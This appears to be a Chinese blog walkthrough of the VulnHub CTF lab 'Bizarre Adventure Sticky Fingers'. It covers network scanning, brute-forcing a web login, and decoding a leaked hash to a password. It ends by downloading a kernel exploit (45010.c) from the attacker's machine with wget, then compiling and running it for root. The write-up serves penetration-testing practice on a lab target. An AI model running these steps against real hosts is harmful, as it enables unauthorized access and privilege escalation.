vulnhub系列:Bizarre Adventure Sticky Fingers walkthrough

Bizarre Adventure Sticky Fingers walkthrough

1简介

这是vulnhb 上的一个ctf靶机
靶机下载地址

2环境部署

实验过程使用到的软件: vmware kali2020 vbox burpsuite
VMware 上安装 kali2020 (桥接模式)实际上三种模式都可以,不过为了使它们们在同一网段,用netdiscover 查找主机时更快找到靶机ip所以我使用桥接模式
在这里插入图片描述

Vbox 上 打开 ctf靶机 (桥接模式)(与vbox的兼容性更好,在VMware上打不开)

在这里插入图片描述

实验步骤

1)使用netdiscover 命令嗅探局域网的存活主机
在这里插入图片描述

192.168.2.1 一看就是网关,根据经验网关ip一般设置为xxx.1 或者xxx.254
192.168.2.105 为物理机
192.168.2.104 为手机设备
所以靶机ip应该是 192.168.2.114
2)扫描下看看开发了那些端口
命令 nmap -T4 -A 192.168.2.114
在这里插入图片描述

主机开放了 三个端口 22 ssh服务,可以尝试下爆破
53 端口开发了dns域名解析服务,没啥利用的,跳过。
然后进入80–http服务看下
dirb http://192.168.2.114
在这里插入图片描述

进入这几个目录看看
在这里插入图片描述

这个大大的flag吸引了我眼球
点进去一看
在这里插入图片描述

源码里还藏了个东西,好家伙。
得到两个信息 Zipperman Bucciarati
这应该是个用户名或者密码之类的
再看下admin那个路径
在这里插入图片描述

看到这东西,在我脑海里浮现出三种之路
1弱口令,拿刚刚那两串字符分别作为用户名和密码登录试一下。
2 Sql注入看能跑个啥东西出来不
3看是不是存在什么逻辑漏洞,能直接绕过登录呢?
2,3没出什么结果,来试试弱口令,把 Zipperman 和Bucciarati 作为
用户名 burp跑下字典
在这里插入图片描述在这里插入图片描述

拿了个2万条密码字典跑了下,两分钟跑完了
在这里插入图片描述

拿着条密码登录试一下
在这里插入图片描述

看到后面那这八成是base64在线解一下

ODBlNDEzMDQwNzFjYmY1ODU2NTM2ZTM5MGYzYzc3ZjQ0NWE0OGVjMDE3NzQwNzdiOGM2ODNlMzA5YzUzMTMyOQ==

在这里插入图片描述

得到 80e41304071cbf5856536e390f3c77f445a48ec01774077b8c683e309c531329
这应该是SHA-256,拿去解一下,什么?要钱,算了,看了下大佬博客明文得

1Password1*

这应该可以ssh登录
ssh bucciarati@192.168.2.114
在这里插入图片描述
在这里插入图片描述
登录成功,这里提示要提权,看下内核版本
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210108185221222.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTE4MTE1,size_16,color_FFFFFF,t_70
搜索内核版本后
网站在线搜索 exp [link] https://exploits.shodan.io/
或者 https://www.exploit-db.com/

在这里插入图片描述
在这里插入图片描述下载exp到kali里面
在kali里面开启http服务

python -m SimpleHTTPServer 

在靶机下载对应exp

  wget http://ip:8000/45010.c

移到靶机后编译执行

gcc 45010.c  -o success //编译生成success文件
chmod 777 success   //可读可执行权限
./success   //执行

在这里插入图片描述

cd /root
 cat flag.txt.txt

得到flag
在这里插入图片描述

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值